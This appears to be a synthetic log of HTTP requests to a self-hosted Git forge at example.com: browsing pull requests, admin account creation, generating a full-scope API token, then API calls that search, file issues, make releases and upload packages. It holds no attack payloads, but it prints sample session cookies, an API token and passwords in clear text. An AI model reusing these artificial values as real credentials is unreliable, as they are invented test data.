{"method": "GET", "target": "/alice/tools/issues/2/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/pull-request-merge-form.08cfd3a0.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/pull-request-merge-form.8413f096.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/2/commits", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/2/files", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/diff-commit-selector.17df8f29.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/diff-commit-selector.302a470f.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 142", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "name=alice&full_name=Alice+Example&pronouns=&biography=Writes+build+tools.&website=https%3A%2F%2Fexample.com&location=Springfield&visibility=0"}
|
|
||||||
{"method": "POST", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 185", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&login_type=0-0&visibility=0&login_name=&user_name=carol&email=carol%40example.com&password=Qe5-tVb7-Mn3c-Kj8y&must_change_password=on"}
|
|
||||||
{"method": "GET", "target": "/admin/users/4", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2B%2522carol%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/d4766e3f21c67b7c786f012d910fa54f?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/4", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 265", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&user_name=bob&login_type=0-0&visibility=0&login_name=&full_name=Bob+Example&pronouns=&email=bob%40example.com&password=&language=en-US&website=&location=&max_repo_creation=-1&active=on&allow_create_organization=on"}
|
|
||||||
{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2Bhas%2Bbeen%2Bupdated."], "body": ""}
|
|
||||||
{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 241", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=34fdf904aa90270d; lang=en-US"], "body": "name=build-token&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
|
|
||||||
{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 254", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US"], "body": "name=build-token&resource=all&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
|
|
||||||
{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US; flash=info%3D518efde244d57864ef12487cdec73aa828e5deaf%26success%3DYour%2Bnew%2Btoken%2Bhas%2Bbeen%2Bgenerated.%2BCopy%2Bit%2Bnow%2Bas%2Bit%2Bwill%2Bnot%2Bbe%2Bshown%2Bagain."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/version", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/user", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/settings/api", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=build", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=all&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/branches/python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/tags", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/scripts/install-script.sh?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/raw/bin/docker-entrypoint", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/media/src/process.env.d.ts", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?path=scripts/install-script.sh&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?sha=python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/git/trees/main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/collaborators", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/hooks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/orgs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/orgs/acme", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/alice/repos", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/notifications", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 68"], "body": "{\"name\":\"bug\",\"color\":\"#ee0701\",\"description\":\"Something is broken\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 83"], "body": "{\"title\":\"Document the python3 setup\",\"body\":\"Say which version the scripts need.\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/comments", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 40"], "body": "{\"body\":\"The setup notes cover it now.\"}"}
|
|
||||||
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/issues/3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 18"], "body": "{\"state\":\"closed\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------c8PTgaGzJM0bzMXgzs4jFA"], "body": "--------------------------c8PTgaGzJM0bzMXgzs4jFA\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------c8PTgaGzJM0bzMXgzs4jFA--\r\n"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets?name=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------8vBtFvaNGea9428ByqN6zh"], "body": "--------------------------8vBtFvaNGea9428ByqN6zh\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------8vBtFvaNGea9428ByqN6zh--\r\n"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 69"], "body": "{\"tag_name\":\"v1.2.0\",\"name\":\"Version 1.2.0\",\"body\":\"Smaller images.\"}"}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases/tags/v1.2.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets?name=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------a8C2mRAVkCsfebNVoTuH9d"], "body": "--------------------------a8C2mRAVkCsfebNVoTuH9d\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------a8C2mRAVkCsfebNVoTuH9d--\r\n"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------bwR0eGsF72IMLlKpnzjarK"], "body": "--------------------------bwR0eGsF72IMLlKpnzjarK\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------bwR0eGsF72IMLlKpnzjarK--\r\n"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 100"], "body": "{\"content\":\"V3JpdGUtSG9zdCAiYnVpbGQiCg==\",\"message\":\"Add a PowerShell build script\",\"branch\":\"main\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 59"], "body": "{\"new_branch_name\":\"python3-docs\",\"old_branch_name\":\"main\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 96"], "body": "{\"title\":\"Add Dockerfile\",\"head\":\"feat/docker-support\",\"base\":\"main\",\"body\":\"Builds the image.\"}"}
|
|
||||||
{"method": "PATCH", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 87"], "body": "{\"description\":\"Build scripts, notes and a Dockerfile\",\"website\":\"https://example.com\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/forks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 23"], "body": "{\"organization\":\"acme\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 107"], "body": "{\"username\":\"dave\",\"email\":\"dave@example.com\",\"password\":\"Lp6-xRw4-Bq9z-Hs3d\",\"must_change_password\":false}"}
|
|
||||||
{"method": "PATCH", "target": "/api/v1/admin/users/dave", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 80"], "body": "{\"login_name\":\"dave\",\"full_name\":\"Dave Example\",\"password\":\"Yt2-cNm8-Fg5k-Wa7e\"}"}
|
|
||||||
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/branches/python3-docs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?q=tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?type=generic&q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
|
|
||||||
{"method": "PUT", "target": "/api/packages/alice/generic/install-script/1.0.0/install-script.sh", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
|
|
||||||
